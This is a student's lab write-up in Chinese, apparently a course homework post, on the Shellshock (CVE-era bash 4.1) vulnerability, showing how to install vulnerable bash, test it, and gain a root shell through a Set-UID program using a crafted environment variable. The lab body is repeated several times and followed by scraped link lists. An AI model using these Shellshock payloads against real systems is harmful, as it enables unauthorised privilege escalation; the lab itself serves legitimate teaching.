20199326《Linux内核原理与分析》第十一周作业
Shellsock攻击实验
实验背景
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统——摘自维基百科
环境搭建
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞

4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统——摘自维基百科
环境搭建
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞

4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞

4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
20199326《Linux内核原理与分析》第十一周作业的更多相关文章
- 20169212《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 这一周学习了MOOCLinux内核分析的第一讲,计算机是如何工作的?由于本科对相关知识的不熟悉,所以感觉有的知识理解起来了有一定的难度,不过多查查资 ...
- 20169210《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 本周作业分为两部分:第一部分为观看学习视频并完成实验楼实验一:第二部分为看<Linux内核设计与实现>1.2.18章并安装配置内核. 第 ...
- 2018-2019-1 20189221 《Linux内核原理与分析》第九周作业
2018-2019-1 20189221 <Linux内核原理与分析>第九周作业 实验八 理理解进程调度时机跟踪分析进程调度与进程切换的过程 进程调度 进度调度时机: 1.中断处理过程(包 ...
- 2017-2018-1 20179215《Linux内核原理与分析》第二周作业
20179215<Linux内核原理与分析>第二周作业 这一周主要了解了计算机是如何工作的,包括现在存储程序计算机的工作模型.X86汇编指令包括几种内存地址的寻址方式和push.pop.c ...
- 2019-2020-1 20199329《Linux内核原理与分析》第九周作业
<Linux内核原理与分析>第九周作业 一.本周内容概述: 阐释linux操作系统的整体构架 理解linux系统的一般执行过程和进程调度的时机 理解linux系统的中断和进程上下文切换 二 ...
- 2019-2020-1 20199329《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 一.上周问题总结: 未能及时整理笔记 Linux还需要多用 markdown格式不熟练 发布博客时间超过规定期限 二.本周学习内容: <庖丁解 ...
- 2019-2020-1 20209313《Linux内核原理与分析》第二周作业
2019-2020-1 20209313<Linux内核原理与分析>第二周作业 零.总结 阐明自己对"计算机是如何工作的"理解. 一.myod 步骤 复习c文件处理内容 ...
- 2018-2019-1 20189221《Linux内核原理与分析》第一周作业
Linux内核原理与分析 - 第一周作业 实验1 Linux系统简介 Linux历史 1991 年 10 月,Linus Torvalds想在自己的电脑上运行UNIX,可是 UNIX 的商业版本非常昂 ...
- 《Linux内核原理与分析》第一周作业 20189210
实验一 Linux系统简介 这一节主要学习了Linux的历史,Linux有关的重要人物以及学习Linux的方法,Linux和Windows的区别.其中学到了LInux中的应用程序大都为开源自由的软件, ...
- 2018-2019-1 20189221《Linux内核原理与分析》第二周作业
读书报告 <庖丁解牛Linux内核分析> 第 1 章 计算工作原理 1.1 存储程序计算机工作模型 1.2 x86-32汇编基础 1.3汇编一个简单的C语言程序并分析其汇编指令执行过程 因 ...
随机推荐
- 延时对象promise的使用
promise是ES6(ECMA Script6)的新标准,只能在支持ES6的浏览器中使用 Promise是一个延时对象,创建延时对象时需要传入一个函数类型的参数 这个函数有两个参数:resolve和 ...
- 运行npm安装wepy2踩坑error EEXIST 问题
windows 10安装wepy2 以前用过wepy1,现在要学习wepy2,运行以下命令出错 npm install @wepy/cli -g # 全局安装 WePY CLI 工具 打开log文件, ...
- STM32F103ZET6 GPIO的使用
1.GPIO简介 STM32F103ZET6有多个GPIO组,如GPIOA.GPIOB.GPIOC...等等.每个GPIO组具有16个IO口. GPIO组的寄存器都是类似的,每个GPIO组都有2个32 ...
- springboot actuator 配置安全
springboot actuator监控是什么?类似php的phpinfor()函数,不过actuator更强大,可以查看的数据.状态更多.Actuator是Spring Boot提供的对应用系统的 ...
- (js描述的)数据结构[队列结构,优先级队列](3)
(js描述的)数据结构[队列结构](3) 一.队列结构的特点: 1.基于数组来实现,的一种受限的线性结构. 2.只允许在表头进行删除操作,在表尾进行插入操作. 3.先进先出(FIFO) 二.队列的一些 ...
- 通过简单的ajax验证是否存在已有的用户名
首先来说说我对ajax的理解:简单地来说就是在不重新刷新页面的情况下,实现数据的调用获得更新. 我在这里介绍的是要过jquery封装好的ajax,大家可以去了解一下使用原生的XMLHttpReques ...
- Python Requests-学习笔记(2)
你也许经常想为URL的查询字符串(query string)传递某种数据.如果你是手工构建URL, 那么数据会以键/值 对的形式置于URL中,跟在一个问号的后面.例如,httpbin.org/get? ...
- python3(十一)generator
# 只要把一个列表生成式的[]改成() L = [x * x for x in range(10)] print(L) # [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] g ...
- 了解一下mock
1.mock简介: mock测试就是在测试过程中,对于某些不容易构成或者不容易获取的对象,用一个虚拟的对象来创建以便测试的测试方法,mock是在测试过程中,对于一些不容易构造/获取的对象,创建一个mo ...
- 最长回文子窜O(N)
字符窜同构的性质:同构字符窜拥有最小和最大的表示方法: 最长回文子窜: 1.首先暴力法:(n三方) 枚举每个起点和终点,然后单向扫描判断是不是回文子窜: 2.中心扩散法,(N方) 枚举每个中点,向外扩 ...